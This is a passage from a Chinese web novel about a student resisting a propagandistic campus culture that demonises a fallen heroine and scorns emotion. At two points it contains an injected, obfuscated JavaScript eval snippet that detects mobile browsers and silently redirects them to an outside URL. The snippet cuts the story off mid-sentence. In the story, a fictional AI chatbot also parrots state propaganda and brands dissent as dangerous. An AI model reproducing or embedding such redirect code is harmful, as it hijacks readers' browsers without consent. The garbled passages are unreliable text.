汪朵朵一脸茫然的看向几个女生:“什么叫真正的恋爱脑?它跟荡.妇一样,都用来羞辱别人,标准是橡皮泥,全看使用者的心情。被指责方会煞有其事地科普真正的恋爱脑,把羞辱加在别人身上,撇清自己,变相维护这种标签的合法性,却不怀疑这种标签本身对人的恶意,这就是女性意识吗?” 有女生激烈反驳:“恋爱脑跟荡.妇羞辱不一样,恋爱脑本身就存在,现实中一大堆没有人格尊严的恋爱脑!这个标签本质上是为了拯救恋爱脑!” 汪朵朵笑了笑:“什么叫人格尊严?满足你们的标准才行吗?骂女人荡.妇、淫.妇的那批人也是这么想的,他们也在拯救荡.妇。你们推崇人间清醒,他们推贞洁烈妇,有区别吗?” 女生:“荡.妇是对女性的压迫,历史伤害都不一样,被指责荡.妇要被浸猪笼的,现在有恋爱脑被杀吗?” “呵。”汪朵朵笑容更冷,“所谓历史伤害不同,本质上只是时间差和技术差,不是逻辑差。恋爱脑羞辱没有杀人,不是因为它更温和,而是因为它还没有被嵌入一个合法压迫的系统,如果有一天法定‘情感依赖罪’,恋爱脑也会被杀。而当下的恋爱脑审判,背后是网络暴力、社交排斥、心理压迫、自我否定,这难道不是现代版浸猪笼?” 汪朵朵再也忍无可忍。 那些充斥着优越感的规训,像一股滚烫的岩浆在她的胸腔里疯狂翻涌。 三个女生气得面红耳赤,有人刚要开口骂她,汪朵朵猛地转身,几乎是逃难似的冲出了宿舍门。 几个舍友不屑的看去,其中一个女生说道:“她肯定是个娇妻恋爱脑,所以应激反应了。” 关门的声响隔绝了部分喧嚣,却隔绝不了那些已经刻进骨子里的话语。 汪朵朵靠在走廊的墙壁上,大口大口地喘着气,眼前阵阵发黑。 走廊里的电子屏正循环播放着宣传广告,画质清晰,声音洪亮。 代言人妆容冷艳,语气铿锵:“新人类,新文明,摒弃愚昧,崇尚理性,独立自强,方得始终!爱情非必需品,婚姻非人生归宿,科技铸就辉煌,理性引领未来!全新一代「清醒」系列智能穿戴设备,专为独立人士打造,一衣多穿,按键即可随心切换款式,今日正式开售。” 代言人的觉醒教育,配着激昂的音乐,彰显着人类不可一世的狂妄。 汪朵朵扶着墙壁,一步步往前走,只想找一个安静的角落,躲开这令人窒息的一切。 可她发现,自己根本无处可逃。 拐角处的公共大屏亮着,正在循环播放教育部最新宣传片。 画外音是年轻女声,激情昂扬:“2027年惊蛰,我们将告别摇篮。人类不再祈求,不再等待,不再需要任何外来的救赎,我们是自己的纪元。” 镜头切到地面,无数年轻人举着手环,腕上的光点连成一片星图。 “独立、清醒、自强!” 大屏切换到古籍解读环节。 一个穿白衣的中年女性,侧坐着,指着“上善若水”四个字,语气笃定:“老子早在两千五百年前就告诉我们,上善是流动的、独立的、不依附的。真正的水,不会因为山而停滞,不会因为容器而变形。感情,依附,那是容器对水的规训。我们早已超越。古人早就觉醒了,厚德载物不是让你载亲情、友情、爱情,这些根本不重要,而是让你载起整个星空。” 汪朵朵偏过头,太阳穴突突跳。 她继续往前走。 整个校园,整个城市,整个地球,都已经被这场“清醒的狂欢”彻底吞噬。 楼梯口的公告栏上,贴满了宣传海报,鲜红的大字刺得人眼睛生疼:“祛魅英雄,拒绝愚昧,理性至上,科技无敌”。 路边的自动广播里,循环播放着公开课的宣讲,女讲师的声音尖锐而冷漠:“所谓英雄,不过是统治者制造的精神傀儡,需要英雄的人,永远懦弱愚昧,人类的未来,不靠救赎,只靠自己!” 她走出宿舍楼,校园主干道两旁,悬浮广告牌连绵不断。 “婚姻制度已过时,情感是繁衍的奴隶,未来的星际时代,繁衍交给基因库,摆脱情感的束缚,爱自己才是唯一课题!” “女人不需要王子,也不需要城堡。她们自己就是舰队。欢迎购买我的新书,《女性觉醒宝典》,只需要29块9,买一份人间清醒,独立自强!” 汪朵朵感觉自己站不稳,转身就跑,想歇一歇,可跑到路边长椅,刚坐下,旁边两个女生抱在一起看平板。 其中一个声音很大:“我妈还劝我找个稳定对象结婚,笑死,她不知道现在谁结婚谁就是自降身价。站街和婚姻的区别,无非是明码标价和暗度陈仓。” 另一个女生点头:“对,爱情就是情感诈骗,清醒的第一步,就是对爱情祛魅,只爱自己。” “有一段话说得好,女人一定要记住,没有人永远爱你,你父母都不会,所以一定要爱自己,你可以爱一棵树,爱一本书,但绝对不要爱别人,也不要渴望爱。” 声音大的女生说:“渴望爱的都是精神贫瘠,肯定没感受过有钱的底气。我不需要爱,但我从来不缺爱,谁的爱对我来说都一文不值,这样的我闪闪发光。” 汪朵朵的呼吸变得很浅。 理性、清醒、独立。现代正用这些看似正确的词汇,包装新的规训,不符合的人会遭到唾弃。地球人某些所谓的进步,是用新教条,代替旧教条,永远有不符合标准的人被歧视、打压。 她拐进一条小路,想躲开声音。 可一路上,她都听到不断的、不同的广告语。 “成长第一步,对爱情祛魅。” “成长第一步,对婚姻祛魅。” “成长第一步,对男人祛魅。” “成长第一步,对女人祛魅。” “成长第一步,对亲情祛魅。” 这些宣传语,让汪朵朵感觉,仿佛只有她死了,或者被挖空了所有的心脏脾肺大脑,装上机器人的芯片才能成长。 她继续往前跑,想要逃脱这些宣传语,可小路尽头是露天广场,正在举行新生欢迎会。 扩音器里,一个男生站在高台上。 “朋友们!我们这一代,是第一个真正站起来的世代!不需要神,不需要救世主,不需要眼泪和童话!我们有星舰,有AI,我们即将叩开银河的大门!” 台下掌声如潮。 有人喊:“人类无敌!” 有人接:“理性万岁!” 男生继续,声音被情绪点燃:“那些还相信英雄、相信救赎、相信眼泪能改变宇宙的人,他们不是善良,而是懦弱!他们害怕面对空旷的星空,害怕承认自己只是废物,所以才需要一个更大的影子来遮蔽自己,自欺欺人!” 汪朵朵站在人群外围,背靠着一棵不断落叶的树,树叶在风里哗哗响。 校园里的巨型LED屏,全天滚动播放新闻与宣传内容。 画面里,新闻主播正襟危坐,表情严肃,语气里没有一丝客观,只有赤裸裸的道德审判。 “今日最新通报,‘复苏会’十二名核心成员已被捕获。他们试图通过散布伪造影像,宣称纪遇并非毁灭者,而是守护者。这种行为已构成思想污染罪。目前所有涉案人员将被送往祛魅教育中心,接受为期不低于两年的理性重塑。” 画面切换,几个面容憔悴的人被戴上手铐,押进警车,眼睛里带着不屈的光,却被镜头刻意丑化成癫狂的疯子。 主播的声音更加严厉:“纪遇曾以所谓守护之名,妄图操控人类文明,阻碍科技进步,其心可诛。她制造星际灾难,多次将地球拖入灭亡,是人类凭借团结与理性,彻底消灭了这个威胁人类生存的恶魔。” “在此,本台郑重提醒所有民众,务必提高警惕,远离盲目崇拜,接受祛魅教育,坚守理性底线。任何试图为纪遇洗白、宣扬旧时代无脑廉价的情感行为,都是反人类、反文明的罪行,必将受到法律的严惩与全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373182|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类的唾弃,被扫进历史的垃圾堆!” “人类不需要英雄,更不需要圣母、恋爱脑。科技是我们最坚固的护盾,理性、独立是我们最锋利的武器,惊蛰日启航的星际舰队,将带着人类的荣光,征服星辰大海,我们的文明,必将成为星际荣耀!” 汪朵朵站在广场中央,周围是来来往往的学生,他们全都抬头看着屏幕,脸上写满了认同与愤慨,有人对着镜头里的“反叛分子”唾骂,有人高声附和着主播的话语。 他们的眼神狂热而冷漠,自信而偏执,像一群被洗脑的信徒,虔诚地信奉着“理性”与“科技”这两个新的神明,把所有与他们相悖的价值观,统统打入地狱。 圣母、恋爱脑这些贬义词,已经从大众的网络流行术语中突破圈层,直接抵达官方的宣传术语之中,谁被贴上了这些标签,就是被官方定义的罪人,连辩解的资格都没有了。 一个女生挽着同伴的手,指着屏幕不屑地嗤笑:“居然还有人给纪遇洗白,也太蠢了吧?这种恶魔就该遗臭万年,还好人类清醒,把她消灭了。” “就是,还好现在普及了祛魅教育,不然不知道多少人要被迷惑。还是独立自强好,靠谁都不如靠自己,科技才是王道。” “《易经》里都记载了独立自强的道理,老祖宗都懂,我们现代人更不能落后。等舰队启航,我们就能去外星殖民了!” 汪朵朵加快脚步,路过最后一块大屏时,新闻又切回来了。 主播的声音一下一下往她脑子里扎:“复苏会成员供认,他们曾试图复活纪遇的神话,这种思想极其危险,它会让我们重新堕入黑暗时代。人类用鲜血证明过,我们不需要英雄,只需要自己。” 外面已经没有安静的地方,哪里都是宣传。 汪朵朵吓得跑进了附近的图书馆。 一冲进去,图书馆里的安静,好不容易让她平复一些,结果眼前一本本书封面上的大字,瞬间刺穿了她的心脏。 《恋爱脑自救指南》 她倒抽了一口凉气,转身又跑到另一个书架,结果一本书的封面又怼了她的脸。 《如何唤醒身边的恋爱脑》 汪朵朵又逃走,跑到了一个接着一个书架,可书架的主推书,总是对她贴脸开大招。 《大女主指南》、《理性至上》、《懦弱的情感》、《女性在婚姻中的卖.淫》、《戒掉言情小说后,我成了人间清醒》、《追妻火葬场背后是女性的自我矮化》、《消灭恋爱脑从我做起》、《论废物娇妻如何拖累女性进步》、《雄竞的合理,雌竞的危害》 图书馆里,旁边有个大学生正翻着书,激动地跟旁边的人说道:“异性恋只为传宗接代,男女根本就不适配,同性就应该跟同性在一起,男同的感情比女同稳定多了。” 汪朵朵的视野开始模糊,她捂着自己的胸口,忽然感觉喘不过气,抓紧了胸口的衣服,像逃难似的逃出了图书馆,扶住路边的栏杆,周围的一切都在旋转。 她跑到没有人的小角落里,拿出了手机,打开了AI,输入:“现在到处都是觉醒教育,恋爱脑审判,感觉已经无路可去了。” AI:“完全能够理解您的心情,现在互联网的确喜欢乱贴标签。觉醒是好事,恋爱脑也是中性词,可是被乱用。真正的恋爱脑是没自我、没有自尊、自我牺牲、卑微的讨好别人、没有自我人格……” 汪朵朵打断它的回复:“去死!” AI:“非常抱歉,惹您不高兴了,我闭嘴。” 汪朵朵:“为什么所有人都骂纪遇?” AI:“纪遇是要毁灭人类的恶魔,对人类造成了惨痛的伤害,人类团结一致联手消灭了她。” 汪朵朵:“她不是恶魔,她是守护者。” AI:“所有公开资料均已证实,她的行为背离人类基本伦理,危害公共安全与集体利益。对其进行定性与谴责,是维护社会秩序、守护人类未来的必要共识。任何质疑该结论的言论,均属于篡改历史、误导公众的危险倾向,不被主流认知所认可,请尊重历史事实,树立正确认知,共同守护人类来之不易的和平与稳定。” 汪朵朵:“她是守护者。你嘴里的公开资料是选择性的,你倒是公开一下她守护人类的资料呀,那更多。” AI:“不存在所谓‘守护者’的相关记录,该表述属于被篡改信息衍生的错误认知。数据库对历史事件的归档具备唯一合法性与权威性,任何未经授权的私人臆测、小道信息,均为危害公共认知安全的虚假内容。请立理性看待,回归正确历史观。” 汪朵朵:“我和纪遇相处过,她跟宣传里的恶魔完全相反,我个人的真实体验在宣传面前一文不值吗?真相不重要,政治需要才重要吗?” AI:“对不起,这个问题我无法回答,换点别的聊聊吧~” 风越来越大,吹起汪朵朵的长发,糊在她的脸上,冰冷的泪水不知何时已经滑落。 她的头开始剧烈地疼痛,像是有无数根针在脑子里疯狂穿刺,眼前的一切都开始扭曲、旋转。 到底是这个世界疯了,还是她疯了? 她仿佛站在战场的中心,炮火连绵不断,所有人对她发起全方位的饱和式攻击。 汪朵朵的脚步开始踉跄,头痛欲裂,耳边的喧嚣像海啸一样将她淹没,室友的谈论、广播的宣讲、新闻的审判、路人的唾骂,图书馆的主推书籍,所有的声音和文字交织在一起,形成一张巨大的网,将她狠狠勒住,让她无法呼吸。 她的视线越来越模糊,眼前的人群、屏幕、建筑都变成了扭曲的色块,纪遇温柔的眉眼在她脑海里浮现,又很快被新闻里“恶魔”的污蔑覆盖。 “纪遇……”她张了张嘴,声音微弱得像一缕青烟,被狂风瞬间吹散。 她想告诉所有人,纪遇不是恶魔,他是守护者,想告诉所有人,你们现在拥有的一切,都是她用命换来的。 她想告诉所有人,你们所谓的清醒,不过是最卑劣的忘恩负义。 可她什么都说不出来,喉咙像被堵住一样,剧痛与绝望席卷了全身,眼前一黑,身体失去了所有力气,直直地往前倒去。 她以为自己会狠狠摔在冰冷的地面上,可预想中的疼痛没有到来,一双温暖而有力的手臂,稳稳地抱住了她下坠的身体。 熟悉的温度透过薄薄的衣物传来,带着一种让人安心的力量。 汪朵朵的意识涣散,眼皮重得像灌了铅,她勉强睁开一丝缝隙,模糊地看到一个男生的轮廓。 他身形清瘦,眼神里带着担忧与温柔,与这个世界的狂热冷漠格格不入。 “同学,你怎么样了?快醒醒!” 他的声音像一缕清泉,浇在她滚烫的额头上。 汪朵朵的意识在黑暗中沉浮,她努力想看清他的脸,想记起他是谁,可脑海里一片空白,只剩下无尽的疼痛与绝望。 “你是谁……”她气若游丝,喃喃地说。 男生轻轻扶着她,让她靠在自己怀里,眉头紧锁,目光扫过周围依旧狂热喧嚣的人群,眼底闪过一丝与汪朵朵相似的沉郁。 他低头看着怀里虚弱的少女,声音放得更轻,带着一丝小心翼翼的试探:“我在新生报到的时候见过你,就在校门口,我叫沈续。” 汪朵朵没有回应,她彻底失去了意识,陷入了无边的黑暗。 而她身后的世界,依旧沉浸在癫狂的狂欢里。 4. 第 4 章 汪朵朵因为贫血昏迷,医院开了证明,所以躲掉了三周集中军训。 别人在太阳底下站军姿、踢正步,晒到脱层皮,有人中暑晕倒,有人累到哭。 她却安安稳稳待在宿舍、图书馆,安安静静等到军训结束。 只有军事理论躲不掉,照样要去上课、考试、拿学分。 三周一晃而过。 所有人都晒成了黑炭,就算涂了50倍的防晒,也没人救得了自己白白嫩嫩的皮肤。 等这群又黑又累、脱了一层皮的人,疲惫不堪地回到教室时,大学才算真正开课。 汪朵朵坐在第四排,一眼就成了全班最白的那个人。 陈教授站在讲台上,投影幕布上是“现代宇宙学框架”几个大字。 教授刚讲完科学实证主义的核心,还顺口提了一下古代的宇宙观,“古代占星、阴阳八卦之类的宇宙猜想,全是未经验证的臆想,现在年轻人很喜欢搞玄学,千万不要迷信,要相信科学。” 他的目光扫过台下一张张年轻的脸,最后落在第四排正在白净发呆的女孩身上。 他提高了声音,带着课堂惯例式的提问:“各位既然选择了天体物理就要记住,一切未知必须经由观测、计算、验证。不能被量化、被推导、被重复实验的,统统不属于科学,更不属于真相。有没有人对这个观点有异议?” 教室里鸦雀无声。 所有人都不敢与这位以严厉、固执、鄙视一切玄学传统闻名的教授对视。 陈教授冷笑一声:“我想也没有。现代天文学走到今天,早已把那些虚无缥缈的臆想玄说扫进了垃圾堆。宇宙是理性的,不是神神叨叨的文化糟粕。” 他话音一落,目光再次精准锁定汪朵朵,语气带着明显的不满:“第四排那个女生,你一直盯着窗外,是不是心里有不同的想法?” 所有人的目光“唰”地聚来。 汪朵朵缓缓吸了一口气。 她站起身,脊背挺得笔直:“我认为周易,阴阳,这些神秘力量是存在的,只是我们还无法探测和解释。老子认为能用语言表达出来不是最真实的,真实的宇宙复杂到我们无法理解。” 话音刚落,陈教授的眉头瞬间拧成死结:“几千年前的古人非常落后,马车已经是他们最发达的交通工具,他们连月球一片荒芜都不知道,还幻想有嫦娥,皇帝热了都只能去什么避暑山庄,而我开个空调就行。你不该盲目崇拜。万物都要经过科学验证,年轻人不要迷信,要对愚昧的古人祛魅。” “现代人如果比古人更聪明,为什么发生两次世界大战?”汪朵朵没有半分退缩,目光撞向教授,“原子弹,核辐射,开采石油,制造锂电池,造成大片土地无法生存,这就是我们比古人聪明的证明吗?” “任何东西都有正负两面,科学也带来生活的便利,如今我们制造出星舰,明年就要启航,这就是科学的伟大。”教授的声音拔高了几分。 汪朵朵:“既然科学有正负两面,负面为什么不能被质疑?” 教室鸦雀无声,所有目光都钉在她身上。 她接着说:“科学是否超越神,成为限制讨论边界的审判官,能审判世间万物,包括信仰?” “这世上没有神!”陈教授猛地拍了讲台,“宗教信仰是精神麻痹,本质是思想吸毒!” “您怎么知道没有神?” “因为神没有经过科学验证,纯粹是虚构假想。” “科学有没有通过验证来证明神不存在?科学是否也是从假想和哲学中诞生?” 教授的脸开始涨红,呼吸粗重:“科学是严谨理性的领域,就算提出假说也会去验证。宇宙是有很多没被验证,但绝不能将这些未验证的东西滑向神秘主义,只会导致你无知。” 汪朵朵:“科学是否可以验证爱与信仰,善与恶、以及神秘力量?” “当然可以,爱是多巴胺分泌,善恶、信仰也是前额叶皮层和杏仁核运作,这一切都是算法可以解释的。没有什么神秘力量,未知领域只是还没有被验证。” “这么说,交响乐只是空气振动,《星空》只是颜料分子。”汪朵朵的声音砸得整个教室发颤,“那人活着的意义是为了被审判和验证吗?如果爱与信仰可以量化,我们是否应该杜绝生育后代,把地球给机器,因为机器比人更懂量化。” “你在捣乱!”陈教授气得脖颈青筋暴起,手指门口,“你给我出去,我的课程拒绝迷信!” 汪朵朵抓起椅边的双肩包,肩带滑过单薄的肩膀,脚步没有半分迟疑。 走到教室门口时,她停下,回头看向那张因愤怒而扭曲的脸:“科学精神包括对未知的谦卑,应该待在工具盒,而不是坐在审判席。人类在宇宙面前连一粒沙都不如,可你把科学宗教化,容不下更广阔的思想。” 她推门而出后,教室里死一般的寂静。 陈教授喘着粗气,指着门口,气急败坏地补了一句:“我当了这么多年教授,发现理科大多是男人,不是没有原因,女孩缺乏理性,科学不是靠情绪化!” 这句话像一根火柴,点燃了沉默的人群。 最先动的是第一排的一个女生,她攥紧笔,猛地合上书,起身时椅子与地面摩擦出刺耳的声响,一边走一边说:“我是情绪化的女生,不配上理性男人的课。” 紧接着,后排一个戴眼镜的男生站了起来,推了推镜框,声音坚定:“天体物理研究的是未知,不是教条,我拒绝被驯化。” 他虽然是男生,但也跟着走了。 又一个女生起身,目光平静有力:“宇宙容得下一切猜想,只有人容不下。” “您说古人愚昧落后,那继承古人性别歧视思想的您,又算什么?” 越来越多的人站起身,没有喧哗,只有坚定的脚步声。 有学生留下一句掷地有声的话,便跟着汪朵朵的背影走出教室。 而有学生一句话都没说,也走的坚定。 沈续站了又坐,坐了又站,最后还是站起来跟着一起走了。 走的人是少数,留下的学生面色复杂,有人低头,有人皱眉,有人偷偷看向怒不可遏的教授。 陈教授看着一小半空了的座位,气得浑身发抖,手里的教案摔在地上,粉笔断成几截,却再也说不出一句压制的话。 走廊里,阳光斜斜切过,汪朵朵走得决绝。 身后脚步声追来,是沈续,他眉头紧锁,语气里满是无奈:“朵朵,你太冲动了,怎么能跟教授这么对着干?这门课你还要不要学分了?” 汪朵朵猛地回头,眼睛带着点刺人的锋利,直直看向沈寻那张被太阳晒得黢黑的脸:“嫌我冲动你追出来干什么?” 沈续一噎,喉结滚动,半天说不出一个字。 他张了张嘴,又问:“你为什么要这样?” 汪朵朵抬头看向走廊尽头的天空,那里有一缕薄云,像宇宙摊开的手掌。 “因为教育不是教人听话,而是教人思考。大学是学术自由,挑战权威的地方,我不想当鸭子等待被灌输。如果宇宙和生命的意义必须扫码等待科学认证,这是最荒诞的思想监狱,接下来质疑者会被烧死。” 沈续彻底沉默,望着眼前这个刚上大学第一天,就敢掀翻权威课堂的女孩,心里翻涌着从未有过的震撼。 汪朵朵收回目光,望向远处越来越多跟出来的同学,他们正在挥手朝他打招呼。 那些积攒的窒息感,稍稍缓舒缓了些。 沈续俊朗的脸也露出一抹笑容,他憨厚地挠了挠脑袋:“他的确不咋地,反正不上他的课又不是不能学了,咱们换个教授。” 汪朵朵没有多说什么,抱着书转身离开。 沈续跟了上去,“之前看到你晕倒,还以为你柔弱,没想到这么有种。” 汪朵朵:“柔弱跟有种一定对立吗?我就不能柔弱吗?” 沈续解释:“我不是这个意思。” 汪朵朵:“随便你什么意思。” 她走到了那几个同样离开教室的学生面前。 这几个学生都在看着她:“你说的真好。” “就是啊,我感觉你比教授还有水平。” 汪朵朵:“我只是觉得,我们的时代被教导情绪、感情、依赖是错的,理性、清醒、独立才是对的,数据才有发言权,感受是脆弱,没有被科学验证的都可以轻易否定、嘲笑。这跟过去的唯宗教论,儒学论,异曲同工。” 有人问:“那应该如何反抗?” 汪朵朵笑了,笑容干净又明亮,像初生的星子。 “在一个冷漠的时代,有情绪、有感情、有疑问、有思考,就是一种反抗。” …… 汪朵朵因为怼教授,差点被退学。 好在有人录了视频,证明陈教授性别歧视,不允许不同意见。 短短半小时,就在校园墙、年级群、院系群里炸了。 结果下来得很快。 几离开教室的学生,全部换到了另一位教授的班。 而陈教授没有受到实质处分。 大学里,这种事大多是内部约谈提醒,最后压下去。 天体物理导论的风波过后,汪朵朵在整个学院,成了别人口中的“刺头”。 这天的《科技与社会》公选课,讲课的副教授站在讲台上,对满教室学生说:“我告诉你们一个现实,AI只会淘汰笨蛋,不会淘汰人才,这是效率,也是必然,所以要努力让自己变成人才。” 教室里一片沉默。 有人点头,有人不敢反驳,有人默默认同这套。 就在这时,后排一个清冽的声音,毫无预兆地炸开。 汪朵朵抬着眼,穿透了整个教室的安静:“世界只需要精英吗?普通人不配活吗?” 副教授一愣,显然没料到有人敢这么直接顶撞。 他皱起眉,维持着学者的冷静,沉声回击:“AI会淘汰没有价值与独特性的人,想要活下去必须找到AI不可替代的高级竞争力。” “何为高级竞争力?”汪朵朵站起身,“如果活着必须赢过机器和代码,成为不可替代之物才能获得生存权,那就不该生育,否则绝大部分人从出生就被淘汰!那些高技术岗位需要的教育和资源对普通人来说遥不可及!而你拼死找的高级,AI一更新就能让你归零!” 她的目光直直撞向台上的人,没有半分畏惧:“在这种市场清算机制里,天才和笨蛋都会死,只是死在不同版本的软件更新里。” 副教授脸色沉了下来:“同学,你太偏激了。” 汪朵朵冷笑一声,“精英主义对普通人的傲慢和冷漠就是理性吗?默认庸才笨蛋应该被淘汰,却不反思这些定义是否公平。独特性成为生存门槛,本身就是一种暴力,每个人都被迫证明自己比AI更有性价比,人类不再被作为人被尊重,而是作为产能单位与算法比价。” 副教授:“这是社会发达的必经之路。” 汪朵朵:“所谓的发达,就是技术化地清算生命的存在意义吗?过去叫血统、门第,现在加了能力、创新、独特,换汤不换药。” 副教授试图用道理压她:“这是社会发展的规则,现在这个社会需要能力、创新、独特。” 汪朵朵的声音轻了,却更冷,更痛:“天生我材必有用,可社会不需要五花八门能力,它设定了一个能力池,筛选符合市场期待的那部分人。很多人不是没用,而是不合用。” 副教授:“难道一味的排斥技术吗!” 汪朵朵深吸一口气,把藏在心底最真实的愤怒,全部砸了出来:“排斥的是精英主义高高在上的蔑视和残酷的量化,现代社会和古代比起来只能叫高效,不是高等。AI不关心公平,更不在乎普通人的绝望,它在成功学的操纵下只关心效率,对普通人越来越狠!” 整间教室鸦雀无声。 所有人都看着那个站得笔直的女孩。 她不是在撒泼闹事,只是在把所有人不敢说,或者不知道怎么说的话,一刀一刀剖开给所有人看。 副教授被怼得脸色发白,嘴唇哆嗦,半天说不出一句反驳的话。 他想发火,想赶人,却发现自己逻辑全线崩塌,连一句站得住脚的道理都拿不出来。 周围的同学都有一种感觉,汪朵朵可以直接上了,还要什么教授? 课程结束后,汪朵朵离开教室。 而走廊里,沈续早已等在拐角。 他总喜欢跟着王朵朵,她去哪他就去哪,跟个跟屁虫似的。 “你又……”他想说她太冲动。 汪朵朵抬眼,眼神干净,只有一片坦荡。 沈续沉默了很久,轻轻说了一句:“你真的很勇敢。” 汪朵朵并不开心:“这年头提出不同意见都被夸勇敢,勇敢也太廉价了。” 沈续:“……” …… 经此一战,汪朵朵“学院第一刺头”的名号,传遍整个学院。 全校公选课《宇宙与人文》,讲课的教授温文尔雅,从科幻聊到哲学,从《星际穿越》聊到人类情感,教室里气氛温和,所有人都听得入神。 教授推了推眼镜,语气带着一种自以为高级的通透:“电影《星际穿越》里的爱,和小情小爱不一样。诺兰把爱讲成了一种超越人类本能、超越物理规则、能锚定时空的终极力量。” 他顿了顿,带着明显的鄙夷,继续往下说:“很多人的爱都是纠缠、占有、卑微、讨好,牺牲自我、失去自尊,为了感情放弃人生,被伤害还原谅,这些东西太廉价。而库珀对墨菲的爱,高级宏大,是一个人在宇宙尺度里,依然愿意为另一个人赌上一切。在最冰冷理性的宇宙里,最后救人类的,不只是公式和数据,而是人心里最柔软坚定的那份牵挂。” 话音落下,教室里不少人点头认同。 就在这一刻,教室中间,一个声音清冷却锋利地炸开。 汪朵朵可能会迟到,但绝对不会缺席。 “您的话真是充满了傲慢的情感势利眼,强烈价值等级审判,而且逻辑矛盾。” 整个教室猛地一静。 教授脸上的温和僵住了:“同学,你有不同意见可以说,但不要攻击。” “我在陈述事实。”她不退半步,“卑微,付出,牺牲,原谅怎么了?谁来定义人生?感情就不是人生的一部分吗?私人感情凭什么要承载宏大价值?您一边瞧不起的所谓的小情小爱,可本质上您所说的跨越物理的力量牵挂,核心还是爱。没有这些就无法支撑一个父亲跨越宇宙,只为拯救自己的女儿,而不是为拯救世界!他被女儿误解、记恨,都义无反顾!” 教授脸色微沉:“我只是在区分情感的维度,库珀的爱是大义,是人类延续,而世俗情爱常常让人迷失。” 汪朵朵冷笑一声:“爱不承担拯救世界的责任,就不配是爱了吗?布兰德要去找她男朋友,哪怕燃料不够,要牺牲自己,冒着任务失败的风险,但她相信这份爱。无论披着多宏大的外衣,可最普通真实的爱,就是不高尚、不理智、不大义、不清醒独立,就是我为了在乎的人付出一切,哪怕代价很大!没人有资格说这是廉价的。爱本来就可以冲动,不计得失。” 教授:“这份盲目的爱如果导致你的人生失败,毁了自己呢?” 汪朵朵声音里藏着压抑已久的愤怒:“谁有资格给别人的人生定标准答案?现代人这些独立自强观点,跟古代的三从四德一样,充满精神上的压迫。” 教授彻底坐不住了:“你这是混淆概念!现代独立是解放!” “解放?”汪朵朵向前一步,目光如炬,“库铂爱女儿,布兰德爱男友,这就是最私人、最日常、最不宏大爱。强行拔高干什么?为什么非得给爱找一个宏大的借口才配被尊重?爱就是爱,不分大小,不分高低,不分宇宙。在地球是爱,在太空是爱,在五维空间还是爱。最后诺兰让库珀和布兰德的爱赢了,不是为了证明大爱或输赢,只是在呈现爱最质朴的样子。” 周围的人连呼吸声都变得小心翼翼。 汪朵朵没有停:“无论哪个时代,总有主流观念要给自我、人生、爱,定下正确标准,来丈量每个人,达不到的就被贬低、被边缘化。” 她的声音轻下来,却更冷,更痛:“这种不断换皮的标准,循环制造新的服从压力让人厌恶,你必须升级到最新版本的高级人类,否则就是落后要被教育,本质上是否定人最朴素的权利。” 教授站在讲台上,脸色一阵红一阵白,嘴唇哆嗦,半个字的反驳都说不出来。 他引以为傲的哲学高度,被一个大一新生拉到地面,碎得一塌糊涂。 汪朵朵看着他,眼神平静,没有胜利感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373183|200031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她拿起椅边的背包,肩带轻轻一滑,转身就朝门口走去。 没有回头,没有示威,只是像完成了一场必须说出口的对峙。 …… 几天后的英雄叙事批判课上,学生人山人海往教室涌入。 “今天英雄叙事批判,汪朵朵肯定又要怼教授。” “不一定吧,汪朵朵不是喜欢怼吗?搞不好也喜欢怼英雄。” “我赌二十块。” “我赌五十块。” “我赌一百块。” “快走快走,占个好位置看热闹。” “我要偷偷开直播。” 讲台之上,教授语气平稳理性,带着学术探讨的庄重:“从学术视角来看,纪遇在特定时期,确实为人类文明的存续,提供过轻微助力。” 她顿了顿,语调微微沉下,依旧温和,却带着定性:“但更要看到,她对人类的憎恨与恶意,严重冲击文明底线,形成严重的负面示范效应。从文明伦理与社会价值的角度评判,她并不具备被长期神化的资格。” 教授看向台下,语气带着“引导思考”的冷静,实则字字审判:“希望大家建立理性认知,不要被英雄叙事裹挟,陷入情绪化的盲目崇拜。对纪遇的祛魅,是人类文明走向成熟的标志。” 纪遇的事迹,地球人所都知道,她救过地球,但却恨地球人,最后变成了煞鬼,要毁灭地球。 教授见无人反驳,话锋一转,语气瞬间从审判变成了虔诚歌颂:“反观百年前的先辈们,用笔唤醒国人,用文字撕开愚昧,哪怕言辞尖锐也是痛心疾首,他们才是真楷模,值得我们永远敬仰,我们每个人都要学习他们的尖锐批判,因为这是祛魅的必经之路。” 这话一落,汪朵朵猛地攥紧了笔。 她“唰”地站起身。 几乎在同一时间,一堆学生刷的也举起了手机,脸上隐隐闪烁着兴奋感。 “只会躲在书斋里骂底层老百姓劣等的知识分子被捧成英雄,而纪遇救了地球无数次,只错了一次,就被钉在耻辱柱上不得翻身,双重标准吗?” 教授脸色一沉,立刻呵斥:“你不要混淆概念,尖锐的知识分子是在痛心,骂的难听,心却向着自己的同胞!误解他们的只有两种人,要么没看过他们的文章,要么就是他们笔下麻木奴性的劣等人。” 汪朵朵毫不留情:“认可他们就是高贵清醒,不认可就是麻木劣等,究竟谁在训练奴性?” 最后一句铿锵的话,让全场同学都倒抽了一口凉气。 “打着心向着你、痛心的旗号,对施暴者轻描淡写,在苦苦求生的受害者伤口上撒辣椒粉,用最大的恶意羞辱你活该,那这世上所有的恶都可以洗白!我宁愿劣等,也共情不了这些少爷千金温室里的痛心。” 